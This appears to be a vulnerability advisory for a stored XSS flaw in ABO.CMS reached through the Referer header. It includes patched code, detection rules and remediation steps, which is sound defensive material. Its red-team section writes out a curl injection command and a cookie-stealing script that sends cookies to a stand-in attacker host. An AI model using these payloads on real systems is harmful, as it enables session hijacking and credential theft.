CVE-2023-46952

Executive Summary

CVE-2023-46952 identifies a stored Cross-Site Scripting (XSS) vulnerability in ABO.CMS version 5.9.3. An attacker can inject arbitrary JavaScript code via a crafted payload placed in the HTTP Referer header. When the application logs or displays the Referer header without proper sanitization, the malicious script executes in the context of an administrator's browser session. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

ABO.CMS is a proprietary content management system. No public package registries (NPM, PyPI, Go, Ruby) are associated with this software. The risk is limited to direct installations of the CMS.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. Based on the vulnerability characteristics, a reasonable estimated score is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – an administrator must view the affected log or page.
• Scope (S): Changed (C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction (admin viewing a page) but no authentication. The impact is limited to information disclosure and minor integrity loss.

Deep Dive & Mechanics

The vulnerability resides in how ABO.CMS handles the HTTP Referer header. When a user (or automated script) sends a request to the CMS, the application logs or displays the Referer header value without proper output encoding. An attacker can craft a request with a malicious Referer header containing JavaScript code, such as:

Referer: http://evil.com/"><script>alert('XSS')</script>

If an administrator views the page that displays this header (e.g., in an admin panel or log viewer), the script executes in their browser. This is a classic stored XSS because the payload is stored in the application's logs or session data.

Root Cause: Lack of input sanitization and output encoding for the Referer header. The application likely uses $_SERVER['HTTP_REFERER'] in PHP without filtering or escaping.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

<?php
$referer = $_SERVER['HTTP_REFERER'];
echo "Referer: " . $referer;
?>

Patched Code (using htmlspecialchars):

<?php
$referer = $_SERVER['HTTP_REFERER'];
echo "Referer: " . htmlspecialchars($referer, ENT_QUOTES, 'UTF-8');
?>

The patched version escapes HTML special characters, preventing script injection. Since no official patch exists, administrators must apply this fix manually.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Use a local or remote server running ABO.CMS 5.9.3.
2. Craft Payload: Create a request with a malicious Referer header.

   curl -H "Referer: http://evil.com/"><script>alert(document.cookie)</script>" http://target-cms.com/admin/logs.php
   

3. Trigger: The payload is stored. When an admin visits the logs page, the script executes.
4. Advanced Payload: Steal session cookies.

   <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
   

Blue Team (Defender)

1. Detection: Monitor for unusual Referer headers containing HTML tags or JavaScript.
2. Mitigation: Apply input validation and output encoding as shown in the patched code.
3. Log Review: Check server logs for Referer headers with suspicious patterns.
4. WAF Rule: Block requests with Referer headers containing <script> or onerror=.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Referer headers containing <script>, onerror=, javascript:, or base64-encoded payloads.
• Host: Log files containing HTML tags or JavaScript in the Referer field.
• File: Modified PHP files (e.g., logs.php) with added output encoding.
• Behavior: Unexpected admin actions, new admin accounts, or outbound connections from the CMS server.

Detection Engineering

YARA Rule

rule CVE_2023_46952_Referer_XSS {
    meta:
        description = "Detects malicious Referer header payloads targeting ABO.CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-46952"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /javascript\s*:/i
        $xss4 = /onload\s*=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2023-46952 - XSS via Referer Header in ABO.CMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious Referer headers targeting ABO.CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-referer|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Referer (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"onerror="; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"javascript:"; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate: Apply output encoding to all user-supplied data, especially the Referer header. Use htmlspecialchars() in PHP or equivalent in other languages.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block malicious Referer headers.
3. Long-term: Upgrade to a patched version of ABO.CMS if released. If no patch is available, consider migrating to a supported CMS.
4. Compromise Assessment: Review server logs for signs of exploitation. Check for unauthorized admin accounts or unusual outbound connections.

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